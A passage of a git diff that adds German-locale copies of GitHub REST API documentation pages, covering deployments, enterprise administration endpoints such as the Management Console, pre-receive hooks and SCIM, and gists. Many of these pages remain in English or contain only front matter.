+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+## About the deployments API
+
+Deployments are requests to deploy a specific ref (branch, SHA, tag). GitHub dispatches a [`deployment` event](/developers/webhooks-and-events/webhook-events-and-payloads#deployment) that external services can listen for and act on when new deployments are created. Deployments enable developers and organizations to build loosely coupled tooling around deployments, without having to worry about the implementation details of delivering different types of applications (e.g., web, native).
+
+Deployment statuses allow external services to mark deployments with an `error`, `failure`, `pending`, `in_progress`, `queued`, or `success` state that systems listening to [`deployment_status` events](/developers/webhooks-and-events/webhook-events-and-payloads#deployment_status) can consume.
+
+Deployment statuses can also include an optional `description` and `log_url`, which are highly recommended because they make deployment statuses more useful. The `log_url` is the full URL to the deployment output, and
+the `description` is a high-level summary of what happened with the deployment.
+
+GitHub dispatches `deployment` and `deployment_status` events when new deployments and deployment statuses are created. These events allow third-party integrations to receive and respond to deployment requests, and update the status of a deployment as progress is made.
+
+Below is a simple sequence diagram for how these interactions would work.
+
+```
++---------+             +--------+            +-----------+        +-------------+
+| Tooling |             | GitHub |            | 3rd Party |        | Your Server |
++---------+             +--------+            +-----------+        +-------------+
+     |                      |                       |                     |
+     |  Create Deployment   |                       |                     |
+     |--------------------->|                       |                     |
+     |                      |                       |                     |
+     |  Deployment Created  |                       |                     |
+     |<---------------------|                       |                     |
+     |                      |                       |                     |
+     |                      |   Deployment Event    |                     |
+     |                      |---------------------->|                     |
+     |                      |                       |     SSH+Deploys     |
+     |                      |                       |-------------------->|
+     |                      |                       |                     |
+     |                      |   Deployment Status   |                     |
+     |                      |<----------------------|                     |
+     |                      |                       |                     |
+     |                      |                       |   Deploy Completed  |
+     |                      |                       |<--------------------|
+     |                      |                       |                     |
+     |                      |   Deployment Status   |                     |
+     |                      |<----------------------|                     |
+     |                      |                       |                     |
+```
+
+Keep in mind that GitHub is never actually accessing your servers. It's up to your third-party integration to interact with deployment events. Multiple systems can listen for deployment events, and it's up to each of those systems to decide whether they're responsible for pushing the code out to your servers, building native code, etc.
+
+Note that the `repo_deployment` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted access to deployments and deployment statuses **without** granting access to repository code, while the {% ifversion not ghae %}`public_repo` and{% endif %}`repo` scopes grant permission to code as well.
+
+### Inactive deployments
+
+When you set the state of a deployment to `success`, then all prior non-transient, non-production environment deployments in the same repository with the same environment name will become `inactive`. To avoid this, you can set `auto_inactive` to `false` when creating the deployment status.
+
+You can communicate that a transient environment no longer exists by setting its `state` to `inactive`.  Setting the `state` to `inactive` shows the deployment as `destroyed` in {% data variables.product.prodname_dotcom %} and removes access to it.
diff --git a/translations/de-DE/content/rest/deployments/environments.md b/translations/de-DE/content/rest/deployments/environments.md
new file mode 100644
index 0000000000..82a8a38d41
--- /dev/null
+++ b/translations/de-DE/content/rest/deployments/environments.md
@@ -0,0 +1,25 @@
+---
+title: Bereitstellungsumgebungen
+allowTitleToDifferFromFilename: true
+shortTitle: Environments
+intro: 'Mit der Bereitstellungs-API kannst du Bereitstellungsumgebungen erstellen, konfigurieren und löschen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: edee188d051c352cde25550ffa465439b1da6ea1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147066378'
+---
+## Informationen zur Bereitstellungsumgebungen-API
+
+Weitere Informationen zu Umgebungen findest du unter [Verwenden von Umgebungen für die Bereitstellung](/actions/deployment/using-environments-for-deployment). Informationen zum Verwalten von Umgebungsgeheimnissen findest du unter [Geheimnisse](/rest/reference/actions#secrets).
+
+{% data reusables.gated-features.environments %}
diff --git a/translations/de-DE/content/rest/deployments/index.md b/translations/de-DE/content/rest/deployments/index.md
new file mode 100644
index 0000000000..ebd9b9ee22
--- /dev/null
+++ b/translations/de-DE/content/rest/deployments/index.md
@@ -0,0 +1,27 @@
+---
+title: Bereitstellungen
+intro: 'Mit der Bereitstellungs-API kannst du Bereitstellungsschlüssel, Bereitstellungen und Bereitstellungsumgebungen erstellen und löschen.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /deployments
+  - /environments
+  - /statuses
+  - /branch-policies
+redirect_from:
+  - /rest/reference/deployments
+ms.openlocfilehash: f46769d8d3bbfab7749b5bcd302712c2b0e7c01d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147549084'
+---
+
diff --git a/translations/de-DE/content/rest/deployments/statuses.md b/translations/de-DE/content/rest/deployments/statuses.md
new file mode 100644
index 0000000000..8d7b376c77
--- /dev/null
+++ b/translations/de-DE/content/rest/deployments/statuses.md
@@ -0,0 +1,20 @@
+---
+title: Bereitstellungsstatus
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: e5ce10e87d08afe28d6151ce6270d48bfa3ae79d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147884486'
+---
+
diff --git a/translations/de-DE/content/rest/emojis.md b/translations/de-DE/content/rest/emojis.md
new file mode 100644
index 0000000000..117640464e
--- /dev/null
+++ b/translations/de-DE/content/rest/emojis.md
@@ -0,0 +1,21 @@
+---
+title: Emojis
+intro: 'Mit der Emojis-API kannst du alle verfügbaren Emojis auflisten und anzeigen, die du in {% data variables.product.product_name %} verwenden kannst.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /rest/reference/emojis
+ms.openlocfilehash: 7cfb96dd592ac91f627fb8e3302f64bb8b487a29
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147060046'
+---
+
diff --git a/translations/de-DE/content/rest/enterprise-admin/admin-stats.md b/translations/de-DE/content/rest/enterprise-admin/admin-stats.md
new file mode 100644
index 0000000000..6be1e3b2cf
--- /dev/null
+++ b/translations/de-DE/content/rest/enterprise-admin/admin-stats.md
@@ -0,0 +1,16 @@
+---
+title: Admin stats
+intro: The Admin Stats API provides a variety of metrics about your installation.
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+  fpt: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it.
+
+{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}
diff --git a/translations/de-DE/content/rest/enterprise-admin/announcement.md b/translations/de-DE/content/rest/enterprise-admin/announcement.md
new file mode 100644
index 0000000000..d699a2b2f5
--- /dev/null
+++ b/translations/de-DE/content/rest/enterprise-admin/announcement.md
@@ -0,0 +1,16 @@
+---
+title: Announcement
+intro: The Announcement API allows you to manage the global announcement banner in your enterprise.
+versions:
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+## Announcement
+
+The Announcements API allows you to manage the global announcement banner in your enterprise. For more information, see "[Customizing user messages for your enterprise](/admin/user-management/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner)."
+
+{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}
diff --git a/translations/de-DE/content/rest/enterprise-admin/audit-log.md b/translations/de-DE/content/rest/enterprise-admin/audit-log.md
new file mode 100644
index 0000000000..da3542b32a
--- /dev/null
+++ b/translations/de-DE/content/rest/enterprise-admin/audit-log.md
@@ -0,0 +1,18 @@
+---
+title: Überwachungsprotokoll
+intro: ''
+versions:
+  ghes: '*'
+  ghec: '*'
+  ghae: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 6a60033706707497b3b943ebdfd23574523419a2
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107397'
+---
+{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}
diff --git a/translations/de-DE/content/rest/enterprise-admin/billing.md b/translations/de-DE/content/rest/enterprise-admin/billing.md
new file mode 100644
index 0000000000..ff04adef94
--- /dev/null
+++ b/translations/de-DE/content/rest/enterprise-admin/billing.md
@@ -0,0 +1,13 @@
+---
+title: Billing
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '>=3.4'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}
diff --git a/translations/de-DE/content/rest/enterprise-admin/global-webhooks.md b/translations/de-DE/content/rest/enterprise-admin/global-webhooks.md
new file mode 100644
index 0000000000..d50e201ec0
--- /dev/null
+++ b/translations/de-DE/content/rest/enterprise-admin/global-webhooks.md
@@ -0,0 +1,16 @@
+---
+title: Global Webhooks
+intro: 'Global Webhooks are installed on your enterprise. You can use global webhooks to automatically monitor, respond to, or enforce rules for users, organizations, teams, and repositories on your enterprise.'
+versions:
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+Global webhooks can subscribe to the [organization](/developers/webhooks-and-events/webhook-events-and-payloads#organization), [user](/developers/webhooks-and-events/webhook-events-and-payloads#user), [repository](/developers/webhooks-and-events/webhook-events-and-payloads#repository), [team](/developers/webhooks-and-events/webhook-events-and-payloads#team), [member](/developers/webhooks-and-events/webhook-events-and-payloads#member), [membership](/developers/webhooks-and-events/webhook-events-and-payloads#membership), [fork](/developers/webhooks-and-events/webhook-events-and-payloads#fork), and [ping](/developers/webhooks-and-events/about-webhooks#ping-event) event types.
+
+*This API is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. To learn how to configure global webhooks, see [About global webhooks](/enterprise/admin/user-management/about-global-webhooks).
+
+{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}
diff --git a/translations/de-DE/content/rest/enterprise-admin/index.md b/translations/de-DE/content/rest/enterprise-admin/index.md
new file mode 100644
index 0000000000..4e9927d3a9
--- /dev/null
+++ b/translations/de-DE/content/rest/enterprise-admin/index.md
@@ -0,0 +1,84 @@
+---
+title: GitHub Enterprise administration
+intro: You can use these endpoints to administer your enterprise.
+allowTitleToDifferFromFilename: true
+redirect_from:
+  - /v3/enterprise-admin
+  - /v3/enterprise
+  - /rest/reference/enterprise-admin
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+shortTitle: Enterprise administration
+children:
+  - /admin-stats
+  - /announcement
+  - /audit-log
+  - /billing
+  - /global-webhooks
+  - /ldap
+  - /license
+  - /management-console
+  - /org-pre-receive-hooks
+  - /orgs
+  - /pre-receive-environments
+  - /pre-receive-hooks
+  - /repo-pre-receive-hooks
+  - /users
+  - /scim
+---
+
+{% ifversion fpt or ghec %}
+
+{% note %}
+
+**Note:** This article applies to {% data variables.product.prodname_ghe_cloud %}. To see the {% data variables.product.prodname_ghe_managed %} or {% data variables.product.prodname_ghe_server %} version, use the **{% data ui.pages.article_version %}** drop-down menu.
+
+{% endnote %}
+
+{% endif %}
+
+{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}
+
+### Endpoint URLs
+
+REST API endpoints{% ifversion ghes %}—except [Management Console](#management-console) API endpoints—{% endif %} are prefixed with the following URL:
+
+```shell
+{% data variables.product.api_url_pre %}
+```
+
+{% ifversion fpt or ghec %}
+When endpoints include `{enterprise}`, replace `{enterprise}` with the handle for your enterprise account, which is included in the URL for your enterprise settings. For example, if your enterprise account is located at `https://github.com/enterprises/octo-enterprise`, replace `{enterprise}` with `octo-enterprise`.
+{% endif %}
+
+{% ifversion ghes %}
+[Management Console](#management-console) API endpoints are only prefixed with a hostname:
+
+```shell
+http(s)://HOSTNAME/
+```
+{% endif %}
+{% ifversion ghae or ghes %}
+### Authentication
+
+Your {% data variables.product.product_name %} installation's API endpoints accept [the same authentication methods](/rest/overview/resources-in-the-rest-api#authentication) as the GitHub.com API. You can authenticate yourself with **[OAuth tokens](/apps/building-integrations/setting-up-and-registering-oauth-apps/)** {% ifversion ghes %}(which can be created using the [Authorizations API](/rest/reference/oauth-authorizations#create-a-new-authorization)) {% endif %}or **[basic authentication](/rest/overview/resources-in-the-rest-api#basic-authentication)**. {% ifversion ghes %}
+OAuth tokens must have the `site_admin` [OAuth scope](/developers/apps/scopes-for-oauth-apps#available-scopes) when used with Enterprise-specific endpoints.{% endif %}
+
+Enterprise administration API endpoints are only accessible to authenticated {% data variables.product.product_name %} site administrators{% ifversion ghes %}, except for the [Management Console](#management-console) API, which requires the [Management Console password](/enterprise/admin/articles/accessing-the-management-console/){% endif %}.
+
+{% endif %}
+
+{% ifversion ghae or ghes %}
+### Version information
+
+The current version of your enterprise is returned in the response header of every API:
+`X-GitHub-Enterprise-Version: {{currentVersion}}.0`
+You can also read the current version by calling the [meta endpoint](/rest/reference/meta/).
+
+{% endif %}
diff --git a/translations/de-DE/content/rest/enterprise-admin/ldap.md b/translations/de-DE/content/rest/enterprise-admin/ldap.md
new file mode 100644
index 0000000000..c4727266f5
--- /dev/null
+++ b/translations/de-DE/content/rest/enterprise-admin/ldap.md
@@ -0,0 +1,13 @@
+---
+title: LDAP
+intro: 'You can use the LDAP API to update account relationships between a {% data variables.product.product_name %} user or team and its linked LDAP entry or queue a new synchronization.'
+versions:
+  ghes: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+With the LDAP mapping endpoints, you're able to update the Distinguished Name (DN) that a user or team maps to. Note that the LDAP endpoints are generally only effective if your {% data variables.product.product_name %} appliance has [LDAP Sync enabled](/enterprise/admin/authentication/using-ldap). The [Update LDAP mapping for a user](#update-ldap-mapping-for-a-user) endpoint can be used when LDAP is enabled, even if LDAP Sync is disabled.
+
+{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}
diff --git a/translations/de-DE/content/rest/enterprise-admin/license.md b/translations/de-DE/content/rest/enterprise-admin/license.md
new file mode 100644
index 0000000000..6af199deca
--- /dev/null
+++ b/translations/de-DE/content/rest/enterprise-admin/license.md
@@ -0,0 +1,15 @@
+---
+title: License
+intro: The License API provides information on your Enterprise license.
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it.
+
+{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}
diff --git a/translations/de-DE/content/rest/enterprise-admin/management-console.md b/translations/de-DE/content/rest/enterprise-admin/management-console.md
new file mode 100644
index 0000000000..8bf82468bd
--- /dev/null
+++ b/translations/de-DE/content/rest/enterprise-admin/management-console.md
@@ -0,0 +1,37 @@
+---
+title: Management Console
+intro: 'The Management Console API helps you manage your {% data variables.product.product_name %} installation.'
+versions:
+  ghes: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+{% tip %}
+
+You must explicitly set the port number when making API calls to the Management Console. If TLS is enabled on your enterprise, the port number is `8443`; otherwise, the port number is `8080`.
+
+If you don't want to provide a port number, you'll need to configure your tool to automatically follow redirects.
+
+You may also need to add the [`-k` flag](http://curl.haxx.se/docs/manpage.html#-k) when using `curl`, since {% data variables.product.product_name %} uses a self-signed certificate before you [add your own TLS certificate](/enterprise/admin/guides/installation/configuring-tls/).
+
+{% endtip %}
+
+### Authentication
+
+You need to pass your [Management Console password](/enterprise/admin/articles/accessing-the-management-console/) as an authentication token to every Management Console API endpoint except [`/setup/api/start`](#create-a-github-enterprise-server-license).
+
+Use the `api_key` parameter to send this token with each request. For example:
+
+```shell
+$ curl -L 'https://HOSTNAME:ADMIN-PORT/setup/api?api_key=YOUR_PASSWORD'
+```
+
+You can also use standard HTTP authentication to send this token. For example:
+
+```shell
+$ curl -L -u "api_key:YOUR_PASSWORD" 'https://HOSTNAME:ADMIN-PORT/setup/api'
+```
+
+{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}
diff --git a/translations/de-DE/content/rest/enterprise-admin/org-pre-receive-hooks.md b/translations/de-DE/content/rest/enterprise-admin/org-pre-receive-hooks.md
new file mode 100644
index 0000000000..44a2256f6e
--- /dev/null
+++ b/translations/de-DE/content/rest/enterprise-admin/org-pre-receive-hooks.md
@@ -0,0 +1,25 @@
+---
+title: Organization Pre-receive Hooks
+intro: The Organization Pre-receive Hooks API allows you to view and modify enforcement of the pre-receive hooks that are available to an organization.
+versions:
+  ghes: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+---
+
+{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}
+
+### Object attributes
+
+| Name                             | Type      | Description                                               |
+|----------------------------------|-----------|-----------------------------------------------------------|
+| `name`                           | `string`  | The name of the hook.                                     |
+| `enforcement`                    | `string`  | The state of enforcement for the hook on this repository. |
+| `allow_downstream_configuration` | `boolean` | Whether repositories can override enforcement.            |
+| `configuration_url`              | `string`  | URL for the endpoint where enforcement is set.            |
+
+Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected.
+
+`configuration_url` may be a link to this endpoint or this hook's global configuration. Only site admins are able to access the global configuration.
diff --git a/translations/de-DE/content/rest/enterprise-admin/orgs.md b/translations/de-DE/content/rest/enterprise-admin/orgs.md
new file mode 100644
index 0000000000..4f5bfb8d52
--- /dev/null
+++ b/translations/de-DE/content/rest/enterprise-admin/orgs.md
@@ -0,0 +1,15 @@
+---
+title: Organizations
+intro: The Organization Administration API allows you to create organizations on your enterprise.
+versions:
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+---
+
+*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it.
+
+{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}
diff --git a/translations/de-DE/content/rest/enterprise-admin/pre-receive-environments.md b/translations/de-DE/content/rest/enterprise-admin/pre-receive-environments.md
new file mode 100644
index 0000000000..f03da691ea
--- /dev/null
+++ b/translations/de-DE/content/rest/enterprise-admin/pre-receive-environments.md
@@ -0,0 +1,36 @@
+---
+title: Pre-receive Environments
+intro: 'The Pre-receive Environments API allows you to create, list, update and delete environments for pre-receive hooks.'
+versions:
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it.
+
+{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}
+
+### Object attributes
+
+#### Pre-receive Environment
+
+| Name                  | Type      | Description                                                                |
+|-----------------------|-----------|----------------------------------------------------------------------------|
+| `name`                | `string`  | The name of the environment as displayed in the UI.                        |
+| `image_url`           | `string`  | URL to the tarball that will be downloaded and extracted.                  |
+| `default_environment` | `boolean` | Whether this is the default environment that ships with {% data variables.product.product_name %}. |
+| `download`            | `object`  | This environment's download status.                                        |
+| `hooks_count`         | `integer` | The number of pre-receive hooks that use this environment.                 |
+
+#### Pre-receive Environment Download
+
+| Name            | Type     | Description                                             |
+|-----------------|----------|---------------------------------------------------------|
+| `state`         | `string` | The state of the most recent download.                  |
+| `downloaded_at` | `string` | The time when the most recent download started.         |
+| `message`       | `string` | On failure, this will have any error messages produced. |
+
+Possible values for `state` are `not_started`, `in_progress`, `success`, `failed`.
diff --git a/translations/de-DE/content/rest/enterprise-admin/pre-receive-hooks.md b/translations/de-DE/content/rest/enterprise-admin/pre-receive-hooks.md
new file mode 100644
index 0000000000..e9fdf6e4a8
--- /dev/null
+++ b/translations/de-DE/content/rest/enterprise-admin/pre-receive-hooks.md
@@ -0,0 +1,29 @@
+---
+title: Pre-receive Hooks
+intro: 'The Pre-receive Hooks API allows you to create, list, update and delete pre-receive hooks.'
+versions:
+  ghes: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it.
+
+{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}
+
+### Object attributes
+
+#### Pre-receive Hook
+
+| Name                             | Type      | Description                                                     |
+|----------------------------------|-----------|-----------------------------------------------------------------|
+| `name`                           | `string`  | The name of the hook.                                           |
+| `script`                         | `string`  | The script that the hook runs.                                  |
+| `script_repository`              | `object`  | The GitHub repository where the script is kept.                 |
+| `environment`                    | `object`  | The pre-receive environment where the script is executed.       |
+| `enforcement`                    | `string`  | The state of enforcement for this hook.                         |
+| `allow_downstream_configuration` | `boolean` | Whether enforcement can be overridden at the org or repo level. |
+
+Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject
+any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected.
diff --git a/translations/de-DE/content/rest/enterprise-admin/repo-pre-receive-hooks.md b/translations/de-DE/content/rest/enterprise-admin/repo-pre-receive-hooks.md
new file mode 100644
index 0000000000..cd2153eedf
--- /dev/null
+++ b/translations/de-DE/content/rest/enterprise-admin/repo-pre-receive-hooks.md
@@ -0,0 +1,24 @@
+---
+title: Repository Pre-receive Hooks
+intro: The Repository Pre-receive Hooks API allows you to view and modify enforcement of the pre-receive hooks that are available to a repository.
+versions:
+  ghes: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+---
+
+{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}
+
+### Object attributes
+
+| Name                | Type     | Description                                               |
+|---------------------|----------|-----------------------------------------------------------|
+| `name`              | `string` | The name of the hook.                                     |
+| `enforcement`       | `string` | The state of enforcement for the hook on this repository. |
+| `configuration_url` | `string` | URL for the endpoint where enforcement is set.            |
+
+Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected.
+
+`configuration_url` may be a link to this repository, it's organization owner or global configuration. Authorization to access the endpoint at `configuration_url` is determined at the owner or site admin level.
diff --git a/translations/de-DE/content/rest/enterprise-admin/scim.md b/translations/de-DE/content/rest/enterprise-admin/scim.md
new file mode 100644
index 0000000000..5f0be8c0ba
--- /dev/null
+++ b/translations/de-DE/content/rest/enterprise-admin/scim.md
@@ -0,0 +1,74 @@
+---
+title: SCIM
+intro: You can automate user creation and team memberships using the SCIM API.
+versions:
+  ghes: '>=3.6'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+{% data reusables.scim.ghes-beta-note %}
+
+{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}
+## About the SCIM API
+
+{% data variables.product.product_name %} provides a SCIM API for use by SCIM-enabled Identity Providers (IdPs). An integration on the IdP can use the API to automatically provision, manage, or deprovision user accounts on a {% data variables.product.product_name %} instance that uses SAML single sign-on (SSO) for authentication. For more information about SAML SSO, see "[About SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam)."
+
+The SCIM API is based on SCIM 2.0. For more information, see the [specification](https://www.simplecloud.info/#Specification).
+
+### SCIM endpoint URLs
+
+An IdP can use the following root URL to communicate with the SCIM API for a {% data variables.product.product_name %} instance.
+
+```
+{% data variables.product.api_url_code %}/scim/v2/
+```
+
+Endpoint URLs for the SCIM API are case-sensitive. For example, the first letter in the `Users` endpoint must be capitalized.
+
+```shell
+GET /scim/v2/Users/{scim_user_id}
+```
+
+### Authenticating calls to the SCIM API
+
+The SCIM integration on the IdP performs actions on behalf of an enterprise owner for the {% data variables.product.product_name %} instance. For more information, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owners)."
+
+To authenticate requests to the API, the person who configures SCIM on the IdP must use a {% data variables.product.pat_v1 %} with `admin:enterprise` scope, which the IdP must provide in the request's `Authorization` header. For more information about {% data variables.product.pat_v1_plural %}, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)".
+
+{% note %}
+
+**Note:** Enterprise owners must generate and use a {% data variables.product.pat_v1 %} for authentication of requests to the SCIM API. {% ifversion ghes > 3.8 %}{% data variables.product.pat_v2_caps %} and {% endif %}GitHub app callers are not supported at this time.
+
+{% endnote %}
+
+### About mapping of SAML and SCIM data
+  
+The {% data variables.product.product_name %} instance links each user who authenticates successfully with SAML SSO to a SCIM identity. To link the identities successfully, the SAML IdP and the SCIM integration must use matching SAML `NameID` and SCIM `userName` values for each user.
+
+{% ifversion ghes > 3.7 %}
+{% note %}
+
+**Note:** If the {% data variables.product.product_name %} uses Azure AD as a SAML IdP, {% data variables.product.product_name %} will also check the SCIM `externalId` claim and SAML `http://schemas.microsoft.com/identity/claims/objectidentifier` claim to match users first, instead of using `NameID` and `userName`. 
+
+{% endnote %}
+{% endif %}
+
+### Supported SCIM user attributes
+
+The SCIM API's `User` endpoints support the following attributes within a request's parameters.
+
+| Name | Type | Description |
+| :- | :- | :- |
+| `displayName` | String | Human-readable name for a user. |
+| `name.formatted` | String | The user's full name, including all middle names, titles, and suffixes, formatted for display.
+| `name.givenName` | String | The first name of the user. |
+| `name.familyName` | String | The last name of the user. |
+| `userName` | String | The username for the user, generated by the IdP. Undergoes [normalization](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#about-username-normalization) before being used. 
+| `emails` | Array | List of the user's emails. |
+| `roles` | Array | List of the user's roles. |
+| `externalId` | String | This identifier is generated by an IdP provider. You can find the `externalId` for a user either on the IdP, or by using the [List SCIM provisioned identities](#list-scim-provisioned-identities-for-an-enterprise) endpoint and filtering on other known attributes, such as a user's username or email address on the {% data variables.product.product_name %} instance. |
+| `id` | String | Identifier generated by the instance's SCIM endpoint. |
+| `active` | Boolean | Indicates whether the identity is active (`true`) or should be suspended (`false`). |
+
diff --git a/translations/de-DE/content/rest/enterprise-admin/users.md b/translations/de-DE/content/rest/enterprise-admin/users.md
new file mode 100644
index 0000000000..b5548dd5c7
--- /dev/null
+++ b/translations/de-DE/content/rest/enterprise-admin/users.md
@@ -0,0 +1,14 @@
+---
+title: Users
+intro: 'The User Administration API allows you to suspend{% ifversion ghes %}, unsuspend, promote, and demote{% endif %}{% ifversion ghae %} and unsuspend{% endif %} users on your enterprise.'
+versions:
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `403` response if they try to access it.
+
+{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}
diff --git a/translations/de-DE/content/rest/gists/comments.md b/translations/de-DE/content/rest/gists/comments.md
new file mode 100644
index 0000000000..5707c7160b
--- /dev/null
+++ b/translations/de-DE/content/rest/gists/comments.md
@@ -0,0 +1,32 @@
+---
+title: Gist-Kommentare
+allowTitleToDifferFromFilename: true
+shortTitle: Comments
+intro: Mit der Gist-Kommentare-API kannst du Kommentare auf einem Gist anzeigen und ändern.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 12e2052d0f8626f21c58cded1e0a158708bf3ab8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147067534'
+---
+## Informationen zur Gist-Kommentare-API
+
+Mit der Gist-Kommentare-API kannst du Kommentare auf einem Gist anzeigen und ändern. Weitere Informationen zu Gists findest du unter [Bearbeiten und Freigeben von Inhalten mit Gists](/get-started/writing-on-github/editing-and-sharing-content-with-gists).
+
+### Benutzerdefinierte Medientypen für Gist-Kommentare
+
+Die folgenden Medientypen werden für Gist-Kommentare unterstützt.
+
+    application/vnd.github.VERSION.raw
+    application/vnd.github.VERSION.base64
+
+Weitere Informationen zu Medientypen findest du unter [Benutzerdefinierte Medientypen](/rest/overview/media-types).
diff --git a/translations/de-DE/content/rest/gists/gists.md b/translations/de-DE/content/rest/gists/gists.md
new file mode 100644
index 0000000000..e0be51020b
--- /dev/null
+++ b/translations/de-DE/content/rest/gists/gists.md
@@ -0,0 +1,44 @@
+---
+title: Gists
+intro: 'Mit der Gists-API kann der autorisierte Benutzer die öffentlichen Gists zu GitHub auflisten, erstellen, aktualisieren und löschen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
